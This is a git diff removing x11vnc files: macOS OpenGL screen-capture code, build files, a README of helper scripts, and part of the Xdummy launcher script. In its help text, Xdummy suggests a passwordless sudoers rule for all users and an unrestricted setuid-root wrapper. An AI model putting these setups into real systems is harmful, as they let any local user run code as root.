- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-#ifndef _X11VNC_MACOSXCGS_H
-#define _X11VNC_MACOSXCGS_H
-
-/* -- macosxCGS.h -- */
-
-extern void macosxCGS_get_all_windows(void);
-extern int macosxCGS_get_qlook(int);
-extern void macosxGCS_set_pasteboard(char *str, int len);
-extern int macosxCGS_follow_animation_win(int win, int idx, int grow);
-extern int macosxCGS_find_index(int w);
-
-
-#endif /* _X11VNC_MACOSXCGS_H */
diff --git a/x11vnc/macosx_opengl.c b/x11vnc/macosx_opengl.c
deleted file mode 100644
index 9788279..0000000
--- a/x11vnc/macosx_opengl.c
+++ /dev/null
@@ -1,176 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-/* -- macosx_opengl.c -- */
-
-#if (defined(__MACH__) && defined(__APPLE__))
-
-#include <CoreFoundation/CoreFoundation.h>
-#include <ApplicationServices/ApplicationServices.h>
-
-#include <rfb/rfb.h>
-#if LIBVNCSERVER_HAVE_MACOSX_OPENGL_H
-#include <OpenGL/OpenGL.h>
-#include <OpenGL/gl.h>
-#endif
-
-extern int macosx_no_opengl, macosx_read_opengl;
-extern CGDirectDisplayID displayID;
-
-static CGLContextObj glContextObj;
-
-int macosx_opengl_width = 0;
-int macosx_opengl_height = 0;
-int macosx_opengl_bpp = 0;
-
-int macosx_opengl_get_width(void) {
- GLint viewport[4];
-
- glGetIntegerv(GL_VIEWPORT, viewport);
- return (int) viewport[2];
-}
-
-int macosx_opengl_get_height(void) {
- GLint viewport[4];
-
- glGetIntegerv(GL_VIEWPORT, viewport);
- return (int) viewport[3];
-}
-
-int macosx_opengl_get_bpp(void) {
- return 32;
-}
-
-int macosx_opengl_get_bps(void) {
- return 8;
-}
-
-int macosx_opengl_get_spp(void) {
- return 3;
-}
-
-void macosx_opengl_init(void) {
- CGLPixelFormatObj pixelFormatObj;
- GLint numPixelFormats;
- CGLPixelFormatAttribute attribs[] = {
- kCGLPFAFullScreen,
- kCGLPFADisplayMask,
- 0,
- 0
- };
-
- if (macosx_no_opengl) {
- return;
- }
-
- attribs[2] = CGDisplayIDToOpenGLDisplayMask(displayID);
-
- CGLChoosePixelFormat(attribs, &pixelFormatObj, &numPixelFormats);
- if (pixelFormatObj == NULL) {
- rfbLog("macosx_opengl_init: CGLChoosePixelFormat failed. Not using OpenGL.\n");
- return;
- }
-
- CGLCreateContext(pixelFormatObj, NULL, &glContextObj);
- CGLDestroyPixelFormat(pixelFormatObj);
-
- if (glContextObj == NULL) {
- rfbLog("macosx_opengl_init: CGLCreateContext failed. Not using OpenGL.\n");
- return;
- }
-
- CGLSetCurrentContext(glContextObj);
- CGLSetFullScreen(glContextObj);
-
- macosx_opengl_width = macosx_opengl_get_width();
- macosx_opengl_height = macosx_opengl_get_height();
-
- macosx_opengl_bpp = macosx_opengl_get_bpp();
-
- glFinish();
-
- glPixelStorei(GL_PACK_ALIGNMENT, 4);
- glPixelStorei(GL_PACK_ROW_LENGTH, 0);
- glPixelStorei(GL_PACK_SKIP_ROWS, 0);
- glPixelStorei(GL_PACK_SKIP_PIXELS, 0);
-
- rfbLog("macosx_opengl_init: Using OpenGL for screen capture.\n");
- macosx_read_opengl = 1;
-}
-
-void macosx_opengl_fini(void) {
- if (!macosx_read_opengl) {
- return;
- }
- CGLSetCurrentContext(NULL);
- CGLClearDrawable(glContextObj);
- CGLDestroyContext(glContextObj);
-}
-
-void macosx_copy_opengl(char *dest, int x, int y, unsigned int w, unsigned int h) {
- int yflip = macosx_opengl_height - y - h;
-
- CGLSetCurrentContext(glContextObj);
-
- glReadPixels((GLint) x, (GLint) yflip, (int) w, (int) h,
- GL_BGRA, GL_UNSIGNED_INT_8_8_8_8_REV, dest);
-
- if (h > 1) {
- static char *pbuf = NULL;
- static int buflen = 0;
- int top = 0, bot = h - 1, rowlen = w * macosx_opengl_bpp/8;
- char *ptop, *pbot;
-
- if (rowlen > buflen || buflen == 0) {
- buflen = rowlen + 128;
- if (pbuf) {
- free(pbuf);
- }
- pbuf = (char *) malloc(buflen);
- }
- while (top < bot) {
- ptop = dest + top * rowlen;
- pbot = dest + bot * rowlen;
- memcpy(pbuf, ptop, rowlen);
- memcpy(ptop, pbot, rowlen);
- memcpy(pbot, pbuf, rowlen);
- top++;
- bot--;
- }
- }
-}
-
-
-#else
-
-#endif /* __APPLE__ */
-
diff --git a/x11vnc/macosx_opengl.h b/x11vnc/macosx_opengl.h
deleted file mode 100644
index 5531a0c..0000000
--- a/x11vnc/macosx_opengl.h
+++ /dev/null
@@ -1,41 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-#ifndef _X11VNC_MACOSX_OPENGL_H
-#define _X11VNC_MACOSX_OPENGL_H
-
-/* -- macosx_opengl.h -- */
-
-extern void macosx_opengl_init(void);
-
-
-#endif /* _X11VNC_MACOSX_OPENGL_H */
diff --git a/x11vnc/misc/.cvsignore b/x11vnc/misc/.cvsignore
deleted file mode 100644
index 22a4e72..0000000
--- a/x11vnc/misc/.cvsignore
+++ /dev/null
@@ -1,3 +0,0 @@
-Makefile
-Makefile.in
-
diff --git a/x11vnc/misc/LICENSE b/x11vnc/misc/LICENSE
deleted file mode 100644
index ea4bdb0..0000000
--- a/x11vnc/misc/LICENSE
+++ /dev/null
@@ -1,31 +0,0 @@
-The following files in this directory:
-
- Makefile.am
- README
- Xdummy
- blockdpy.c
- ranfb.pl
- rx11vnc
- rx11vnc.pl
- shm_clear
- slide.pl
- vcinject.pl
- x11vnc_loop
- x11vnc_pw
-
-are all Copyright (C) 2002-2009 Karl J. Runge <runge@karlrunge.com>
-and are all released under this license:
-
- This is free software; you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation; version 2 of the License.
-
- This software is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
-
- You should have received a copy of the GNU General Public License
- along with this software; if not, write to the Free Software
- Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
- USA or see <http://www.gnu.org/licenses/>.
diff --git a/x11vnc/misc/Makefile.am b/x11vnc/misc/Makefile.am
deleted file mode 100644
index e6a50aa..0000000
--- a/x11vnc/misc/Makefile.am
+++ /dev/null
@@ -1,3 +0,0 @@
-SUBDIRS = turbovnc
-DIST_SUBDIRS = turbovnc
-EXTRA_DIST=README blockdpy.c dtVncPopup rx11vnc rx11vnc.pl shm_clear ranfb.pl slide.pl vcinject.pl x11vnc_loop Xdummy ultravnc_repeater.pl connect_switch panner.pl desktop.cgi inet6to4 uinput.pl qt_tslib_inject.pl
diff --git a/x11vnc/misc/Makefile.in b/x11vnc/misc/Makefile.in
deleted file mode 100644
index 6a2e440..0000000
--- a/x11vnc/misc/Makefile.in
+++ /dev/null
@@ -1,609 +0,0 @@
-# Makefile.in generated by automake 1.11.6 from Makefile.am.
-# @configure_input@
-
-# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,
-# 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011 Free Software
-# Foundation, Inc.
-# This Makefile.in is free software; the Free Software Foundation
-# gives unlimited permission to copy and/or distribute it,
-# with or without modifications, as long as this notice is preserved.
-
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY, to the extent permitted by law; without
-# even the implied warranty of MERCHANTABILITY or FITNESS FOR A
-# PARTICULAR PURPOSE.
-
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-VPATH = @srcdir@
-am__make_dryrun = \
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- *n*) am__dry=yes; break;; \
- esac; \
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-am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd
-install_sh_DATA = $(install_sh) -c -m 644
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-subdir = x11vnc/misc
-DIST_COMMON = README $(srcdir)/Makefile.am $(srcdir)/Makefile.in
-ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
-am__aclocal_m4_deps = $(top_srcdir)/acinclude.m4 \
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diff --git a/x11vnc/misc/README b/x11vnc/misc/README
deleted file mode 100644
index 2ed1dff..0000000
--- a/x11vnc/misc/README
+++ /dev/null
@@ -1,50 +0,0 @@
-
-In this directory you'll find a hodgepodge of wrapper scripts and
-utility programs that have found some use with x11vnc.
-
-Some are on the rough side and will need some customization for your
-use. Many of them are described on the webpage:
-
- http://www.karlrunge.com/x11vnc
-
-(use your browser's Find action to find them!). Some of them also have
-documentation near the top of the file.
-
-x11vnc -accept scripts:
-
- blockdpy.c try to lock screen if local person knocks monitor out of DPMS
- dtVncPopup CDE/dtksh by Stefan Radman to accept connections, lock screen
-
-x11vnc launch wrappers:
-
- rx11vnc simple ssh/rsh x11vnc launcher. -S option needs work...
- rx11vnc.pl perl script tries to do rx11vnc -S tunnelling better.
-
-x11vnc -pipeinput/-rawfb utilities:
-
- vcinject.pl perl script like LinuxVNC.c, for x11vnc viewing of linux console
- slide.pl amusing example using x11vnc -rawfb for jpeg slideshow.
- ranfb.pl example -rawfb setup:./ranfb.pl to set up a framebuffer.
-
- uinput.pl test perl script for Linux uinput injection.
-
- qt_tslib_inject.pl touchscreen -pipeinput helper for tslib on qtmoko.
-
-Misc. scripts:
-
- shm_clear list or remove orphaned shm slots from hard x11vnc crashes.
- x11vnc_loop kludge to run in bg attaching x11vnc to X login. Better to
- use Xsetup mechanism.
- Xdummy An LD_PRELOAD kludge to run the Xorg "dummy" device driver
- like Xvfb.
-
- ultravnc_repeater.pl: Unix script to act as UltraVNC repeater proxy.
-
- connect_switch: Share HTTPS, VNC, SSH, etc. through a single port (e.g. 443)
-
- panner.pl Allows a small rectangle to pan around a desktop more or less.
-
- desktop.cgi CGI script for creating multi-user virtual desktops on a
- server. Also can do port-redirection to internal machines.
-
- inet6to4 ipv6 to ipv4 relay (i.e. until libvncserver supports ipv6)
diff --git a/x11vnc/misc/Xdummy b/x11vnc/misc/Xdummy
deleted file mode 100755
index 638a7b3..0000000
--- a/x11vnc/misc/Xdummy
+++ /dev/null
@@ -1,1930 +0,0 @@
-#!/bin/sh
-# ----------------------------------------------------------------------
-# Copyright (C) 2005-2010 Karl J. Runge <runge@karlrunge.com>
-# All rights reserved.
-#
-# This file is part of Xdummy.
-#
-# Xdummy is free software; you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2 of the License, or (at
-# your option) any later version.
-#
-# Xdummy is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with Xdummy; if not, write to the Free Software
-# Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-# or see <http://www.gnu.org/licenses/>.
-# ----------------------------------------------------------------------
-#
-#
-# Xdummy: an LD_PRELOAD hack to run a stock Xorg(1) or XFree86(1) server
-# with the "dummy" video driver to make it avoid Linux VT switching, etc.
-#
-# Run "Xdummy -help" for more info.
-#
-install=""
-uninstall=""
-runit=1
-prconf=""
-notweak=""
-root=""
-nosudo=""
-xserver=""
-geom=""
-nomodelines=""
-depth=""
-debug=""
-strace=""
-cmdline_config=""
-
-PATH=$PATH:/bin:/usr/bin
-export PATH
-
-program=`basename "$0"`
-
-help () {
- ${PAGER:-more} << END
-$program:
-
- A hack to run a stock Xorg(1) or XFree86(1) X server with the "dummy"
- (RAM-only framebuffer) video driver such that it AVOIDS the Linux VT
- switching, opening device files in /dev, keyboard and mouse conflicts,
- and other problems associated with the normal use of "dummy".
-
- In other words, it tries to make Xorg/XFree86 with the "dummy"
- device driver act more like Xvfb(1).
-
- The primary motivation for the Xdummy script is to provide a virtual X
- server for x11vnc but with more features than Xvfb (or Xvnc); however
- it could be used for other reasons (e.g. better automated testing
- than with Xvfb.) One nice thing is the dummy server supports RANDR
- dynamic resizing while Xvfb does not.
-
- So, for example, x11vnc+Xdummy terminal services are a little better
- than x11vnc+Xvfb.
-
- To achieve this, while running the real Xserver $program intercepts
- system and library calls via the LD_PRELOAD method and modifies
- the behavior to make it work correctly (e.g. avoid the VT stuff.)
- LD_PRELOAD tricks are usually "clever hacks" and so might not work
- in all situations or break when something changes.
-
- WARNING: Take care in using Xdummy, although it never has it is
- possible that it could damage hardware. One can use the -prconf
- option to have it print out the xorg.conf config that it would use
- and then inspect it carefully before actually using it.
-
- This program no longer needs to be run as root as of 12/2009.
- However, if there are problems for certain situations (usually older
- servers) it may perform better if run as root (use the -root option.)
- When running as root remember the previous paragraph and that Xdummy
- comes without any warranty.
-
- gcc/cc and other build tools are required for this script to be able
- to compile the LD_PRELOAD shared object. Be sure they are installed
- on the system. See -install and -uninstall described below.
-
- Your Linux distribution may not install the dummy driver by default,
- e.g:
-
- /usr/lib/xorg/modules/drivers/dummy_drv.so
-
- some have it in a package named xserver-xorg-video-dummy you that
- need to install.
-
-Usage:
-
- $program <${program}-args> <Xserver-args>
-
- (actually, the arguments can be supplied in any order.)
-
-Examples:
-
- $program -install
-
- $program :1
-
- $program -debug :1
-
- $program -tmpdir ~/mytmp :1 -nolisten tcp
-
-startx example:
-
- startx -e bash -- $program :2 -depth 16
-
- (if startx needs to be run as root, you can su(1) to a normal
- user in the bash shell and then launch ~/.xinitrc or ~/.xsession,
- gnome-session, startkde, startxfce4, etc.)
-
-xdm example:
-
- xdm -config /usr/local/dummy/xdm-config -nodaemon
-
- where the xdm-config file has line:
-
- DisplayManager.servers: /usr/local/dummy/Xservers
-
- and /usr/local/dummy/Xservers has lines:
-
- :1 local /usr/local/dummy/Xdummy :1 -debug
- :2 local /usr/local/dummy/Xdummy :2 -debug
-
- (-debug is optional)
-
-gdm/kdm example:
-
- TBD.
-
-Root permission and x11vnc:
-
- Update: as of 12/2009 this program no longer must be run as root.
- So try it as non-root before running it as root and/or the
- following schemes.
-
- In some circumstances X server program may need to be run as root.
- If so, one could run x11vnc as root with -unixpw (it switches
- to the user that logs in) and that may be OK, some other ideas:
-
- - add this to sudo via visudo:
-
- ALL ALL = NOPASSWD: /usr/local/bin/Xdummy
-
- - use this little suid wrapper:
-/*
- * xdummy.c
- *
- cc -o ./xdummy xdummy.c
- sudo cp ./xdummy /usr/local/bin/xdummy
- sudo chown root:root /usr/local/bin/xdummy
- sudo chmod u+s /usr/local/bin/xdummy
- *
- */
-#include <unistd.h>
-#include <stdlib.h>
-#include <sys/types.h>
-#include <stdio.h>
-
-int main (int argc, char *argv[]) {
- extern char **environ;
- char str[100];
- sprintf(str, "XDUMMY_UID=%d", (int) getuid());
- putenv(str);
- setuid(0);
- setgid(0);
- execv("/usr/local/bin/Xdummy", argv);
- exit(1);
- return 1;
-}
-
-
-Options:
-
- ${program}-args:
-
- -install Compile the LD_PRELOAD shared object and install it
- next to the $program script file as:
-
- $0.so
-
- When that file exists it is used as the LD_PRELOAD
- shared object without recompiling. Otherwise,
- each time $program is run the LD_PRELOAD shared
- object is compiled as a file in /tmp (or -tmpdir)
-
- If you set the environment variable
- INTERPOSE_GETUID=1 when building, then when
- $program is run as an ordinary user, the shared
- object will interpose getuid() calls and pretend
- to be root. Otherwise it doesn't pretend to
- be root.
-
- You can also set the CFLAGS environment variable
- to anything else you want on the compile cmdline.
-
- -uninstall Remove the file:
-
- $0.so
-
- The LD_PRELOAD shared object will then be compiled
- each time this program is run.
-
- The X server is not started under -install, -uninstall, or -prconf.
-
-
- :N The DISPLAY (e.g. :15) is often the first
- argument. It is passed to the real X server and
- also used by the Xdummy script as an identifier.
-
- -geom geom1[,geom2...] Take the geometry (e.g. 1024x768) or list
- of geometries and insert them into the Screen
- section of the tweaked X server config file.
- Use this to have a different geometry than the
- one(s) in the system config file.
-
- The option -geometry can be used instead of -geom;
- x11vnc calls Xdummy and Xvfb this way.
-
- -nomodelines When you specify -geom/-geometry, $program will
- create Modelines for each geometry and put them
- in the Monitor section. If you do not want this
- then supply -nomodelines.
-
- -depth n Use pixel color depth n (e.g. 8, 16, or 24). This
- makes sure the X config file has a Screen.Display
- subsection of this depth. Note this option is
- ALSO passed to the X server.
-
- -DEPTH n Same as -depth, except not passed to X server.
-
- -tmpdir dir Specify a temporary directory, owned by you and
- only writable by you. This is used in place of
- /tmp/Xdummy.\$USER/.. to place the $program.so
- shared object, tweaked config files, etc.
-
- -nonroot Run in non-root mode (working 12/2009, now default)
-
- -root Run as root (may still be needed in some
- environments.) Same as XDUMMY_RUN_AS_ROOT=1.
-
- -nosudo Do not try to use sudo(1) when re-running as root,
- use su(1) instead.
-
- -xserver path Specify the path to the Xserver to use. Default
- is to try "Xorg" first and then "XFree86". If
- those are not in \$PATH, it tries these locations:
- /usr/bin/Xorg
- /usr/X11R6/bin/Xorg
- /usr/X11R6/bin/XFree86
-
- -n Do not run the command to start the X server,
- just show the command that $program would run.
- The LD_PRELOAD shared object will be built,
- if needed. Also note any XDUMMY* environment
- variables that need to be set.
-
- -prconf Print, to stdout, the tweaked Xorg/XFree86
- config file (-config and -xf86config server
- options, respectively.) The Xserver is not
- started.
-
- -notweak Do not tweak (modify) the Xorg/XFree86 config file
- (system or server command line) at all. The -geom
- and similar config file modifications are ignored.
-
- It is up to you to make sure it is a working
- config file (e.g. "dummy" driver, etc.)
- Perhaps you want to use a file based on the
- -prconf output.
-
- -debug Extra debugging output.
-
- -strace strace(1) the Xserver process (for troubleshooting.)
- -ltrace ltrace(1) instead of strace (can be slow.)
-
- -h, -help Print out this help.
-
-
- Xserver-args:
-
- Most of the Xorg and XFree86 options will work and are simply
- passed along if you supply them. Important ones that may be
- supplied if missing:
-
- :N X Display number for server to use.
-
- vtNN Linux virtual terminal (VT) to use (a VT is currently
- still used, just not switched to and from.)
-
- -config file Driver "dummy" tweaked config file, a
- -xf86config file number of settings are tweaked besides Driver.
-
- If -config/-xf86config is not given, the system one
- (e.g. /etc/X11/xorg.conf) is used. If the system one cannot be
- found, a built-in one is used. Any settings in the config file
- that are not consistent with "dummy" mode will be overwritten
- (unless -notweak is specified.)
-
- Use -config xdummy-builtin to force usage of the builtin config.
-
- If "file" is only a basename (e.g. "xorg.dummy.conf") with no /'s,
- then no tweaking of it is done: the X server will look for that
- basename via its normal search algorithm. If the found file does
- not refer to the "dummy" driver, etc, then the X server will fail.
-
-Notes:
-
- The Xorg/XFree86 "dummy" driver is currently undocumented. It works
- well in this mode, but it is evidently not intended for end-users.
- So it could be removed or broken at any time.
-
- If the display Xserver-arg (e.g. :1) is not given, or ":" is given
- that indicates $program should try to find a free one (based on
- tcp ports.)
-
- If the display virtual terminal, VT, (e.g. vt9) is not given that
- indicates $program should try to find a free one (or guess a high one.)
-
- This program is not completely secure WRT files in /tmp (but it tries
- to a good degree.) Better is to use the -tmpdir option to supply a
- directory only writable by you. Even better is to get rid of users
- on the local machine you do not trust :-)
-
- Set XDUMMY_SET_XV=1 to turn on debugging output for this script.
-
-END
-}
-
-warn() {
- echo "$*" 1>&2
-}
-
-if [ "X$XDUMMY_SET_XV" != "X" ]; then
- set -xv
-fi
-
-if [ "X$XDUMMY_UID" = "X" ]; then
- XDUMMY_UID=`id -u`
- export XDUMMY_UID
-fi
-if [ "X$XDUMMY_UID" = "X0" ]; then
- if [ "X$SUDO_UID" != "X" ]; then
- XDUMMY_UID=$SUDO_UID
- export XDUMMY_UID
- fi
-fi
-
-# check if root=1 first:
-#
-if [ "X$XDUMMY_RUN_AS_ROOT" = "X1" ]; then
- root=1
-fi
-for arg in $*
-do
- if [ "X$arg" = "X-nonroot" ]; then
- root=""
- elif [ "X$arg" = "X-root" ]; then
- root=1
- fi
-done
-
-# See if it really needs to be run as root:
-#
-if [ "X$XDUMMY_SU_EXEC" = "X" -a "X$root" = "X1" -a "X`id -u`" != "X0" ]; then
- # this is to prevent infinite loop in case su/sudo doesn't work:
- XDUMMY_SU_EXEC=1
- export XDUMMY_SU_EXEC
-
- dosu=1
- nosudo=""
-
- for arg in $*
- do
- if [ "X$arg" = "X-nonroot" ]; then
- dosu=""
- elif [ "X$arg" = "X-nosudo" ]; then
- nosudo="1"
- elif [ "X$arg" = "X-help" ]; then
- dosu=""
- elif [ "X$arg" = "X-h" ]; then
- dosu=""
- elif [ "X$arg" = "X-install" ]; then
- dosu=""
- elif [ "X$arg" = "X-uninstall" ]; then
- dosu=""
- elif [ "X$arg" = "X-n" ]; then
- dosu=""
- elif [ "X$arg" = "X-prconf" ]; then
- dosu=""
- fi
- done
- if [ $dosu ]; then
- # we need to restart it with su/sudo:
- if type sudo > /dev/null 2>&1; then
- :
- else
- nosudo=1
- fi
- if [ "X$nosudo" = "X" ]; then
- warn "$program: supply the sudo password to restart as root:"
- if [ "X$XDUMMY_UID" != "X" ]; then
- exec sudo $0 -uid $XDUMMY_UID "$@"
- else
- exec sudo $0 "$@"
- fi
- else
- warn "$program: supply the root password to restart as root:"
- if [ "X$XDUMMY_UID" != "X" ]; then
- exec su -c "$0 -uid $XDUMMY_UID $*"
- else
- exec su -c "$0 $*"
- fi
- fi
- # DONE:
- exit
- fi
-fi
-
-# This will hold the X display, e.g. :20
-#
-disp=""
-args=""
-cmdline_config=""
-
-# Process Xdummy args:
-#
-while [ "X$1" != "X" ]
-do
- if [ "X$1" = "X-config" -o "X$1" = "X-xf86config" ]; then
- cmdline_config="$2"
- fi
- case $1 in
- ":"*) disp=$1
- ;;
- "-install") install=1; runit=""
- ;;
- "-uninstall") uninstall=1; runit=""
- ;;
- "-n") runit=""
- ;;
- "-no") runit=""
- ;;
- "-norun") runit=""
- ;;
- "-prconf") prconf=1; runit=""
- ;;
- "-notweak") notweak=1
- ;;
- "-noconf") notweak=1
- ;;
- "-nonroot") root=""
- ;;
- "-root") root=1
- ;;
- "-nosudo") nosudo=1
- ;;
- "-xserver") xserver="$2"; shift
- ;;
- "-uid") XDUMMY_UID="$2"; shift
- export XDUMMY_UID
- ;;
- "-geom") geom="$2"; shift
- ;;
- "-geometry") geom="$2"; shift
- ;;
- "-nomodelines") nomodelines=1
- ;;
- "-depth") depth="$2"; args="$args -depth $2";
- shift
- ;;
- "-DEPTH") depth="$2"; shift
- ;;
- "-tmpdir") XDUMMY_TMPDIR="$2"; shift
- ;;
- "-debug") debug=1
- ;;
- "-nodebug") debug=""
- ;;
- "-strace") strace=1
- ;;
- "-ltrace") strace=2
- ;;
- "-h") help; exit 0
- ;;
- "-help") help; exit 0
- ;;
- *) args="$args $1"
- ;;
- esac
- shift
-done
-
-# Try to get a username for use in our tmp directory, etc.
-#
-user=""
-if [ X`id -u` = "X0" ]; then
- user=root # this will also be used below for id=0
-elif [ "X$USER" != "X" ]; then
- user=$USER
-elif [ "X$LOGNAME" != "X" ]; then
- user=$LOGNAME
-fi
-
-# Keep trying...
-#
-if [ "X$user" = "X" ]; then
- user=`whoami 2>/dev/null`
-fi
-if [ "X$user" = "X" ]; then
- user=`basename "$HOME"`
-fi
-if [ "X$user" = "X" -o "X$user" = "X." ]; then
- user="u$$"
-fi
-
-if [ "X$debug" = "X1" -a "X$runit" != "X" ]; then
- echo ""
- echo "/usr/bin/env:"
- env | egrep -v '^(LS_COLORS|TERMCAP)' | sort
- echo ""
-fi
-
-# Function to compile the LD_PRELOAD shared object:
-#
-make_so() {
- # extract code embedded in this script into a tmp C file:
- n1=`grep -n '^#code_begin' $0 | head -1 | awk -F: '{print $1}'`
- n2=`grep -n '^#code_end' $0 | head -1 | awk -F: '{print $1}'`
- n1=`expr $n1 + 1`
- dn=`expr $n2 - $n1`
-
- tmp=$tdir/Xdummy.$RANDOM$$.c
- rm -f $tmp
- if [ -e $tmp -o -h $tmp ]; then
- warn "$tmp still exists."
- exit 1
- fi
- touch $tmp || exit 1
- tail -n +$n1 $0 | head -n $dn > $tmp
-
- # compile it to Xdummy.so:
- if [ -f "$SO" ]; then
- mv $SO $SO.$$
- rm -f $SO.$$
- fi
- rm -f $SO
- touch $SO
- if [ ! -f "$SO" ]; then
- SO=$tdir/Xdummy.$user.so
- warn "warning switching LD_PRELOAD shared object to: $SO"
- fi
-
- if [ -f "$SO" ]; then
- mv $SO $SO.$$
- rm -f $SO.$$
- fi
- rm -f $SO
-
- # we assume gcc:
- if [ "X$INTERPOSE_GETUID" = "X1" ]; then
- CFLAGS="$CFLAGS -DINTERPOSE_GETUID"
- fi
- echo "$program:" cc -shared -fPIC $CFLAGS -o $SO $tmp
- cc -shared -fPIC $CFLAGS -o $SO $tmp
- rc=$?
- rm -f $tmp
- if [ $rc != 0 ]; then
- warn "$program: cannot build $SO"
- exit 1
- fi
- if [ "X$debug" != "X" -o "X$install" != "X" ]; then
- warn "$program: created $SO"
- ls -l "$SO"
- fi
-}
-
-# Set tdir to tmp dir for make_so():
-if [ "X$XDUMMY_TMPDIR" != "X" ]; then
- tdir=$XDUMMY_TMPDIR
- mkdir -p $tdir
-else
- tdir="/tmp"
-fi
-
-# Handle -install/-uninstall case:
-SO=$0.so
-if [ "X$install" != "X" -o "X$uninstall" != "X" ]; then
- if [ -e "$SO" -o -h "$SO" ]; then
- warn "$program: removing $SO"
- fi
- if [ -f "$SO" ]; then
- mv $SO $SO.$$
- rm -f $SO.$$
- fi
- rm -f $SO
- if [ -e "$SO" -o -h "$SO" ]; then
- warn "warning: $SO still exists."
- exit 1
- fi
- if [ $install ]; then
- make_so
- if [ ! -f "$SO" ]; then
- exit 1
- fi
- fi
- exit 0
-fi
-
-# We need a tmp directory for the .so, tweaked config file, and for
-# redirecting filenames we cannot create (under -nonroot)
-#
-tack=""
-if [ "X$XDUMMY_TMPDIR" = "X" ]; then
- XDUMMY_TMPDIR="/tmp/Xdummy.$user"
-
- # try to tack on a unique subdir (display number or pid)
- # to allow multiple instances
- #
- if [ "X$disp" != "X" ]; then
- t0=$disp
- else
- t0=$1
- fi
- tack=`echo "$t0" | sed -e 's/^.*://'`
- if echo "$tack" | grep '^[0-9][0-9]*$' > /dev/null; then
- :
- else
- tack=$$
- fi
- if [ "X$tack" != "X" ]; then
- XDUMMY_TMPDIR="$XDUMMY_TMPDIR/$tack"
- fi
-fi
-
-tmp=$XDUMMY_TMPDIR
-if echo "$tmp" | grep '^/tmp' > /dev/null; then
- if [ "X$tmp" != "X/tmp" -a "X$tmp" != "X/tmp/" ]; then
- # clean this subdir of /tmp out, otherwise leave it...
- rm -rf $XDUMMY_TMPDIR
- if [ -e $XDUMMY_TMPDIR ]; then
- warn "$XDUMMY_TMPDIR still exists"
- exit 1
- fi
- fi
-fi
-
-mkdir -p $XDUMMY_TMPDIR
-chmod 700 $XDUMMY_TMPDIR
-if [ "X$tack" != "X" ]; then
- chmod 700 `dirname "$XDUMMY_TMPDIR"` 2>/dev/null
-fi
-
-# See if we can write something there:
-#
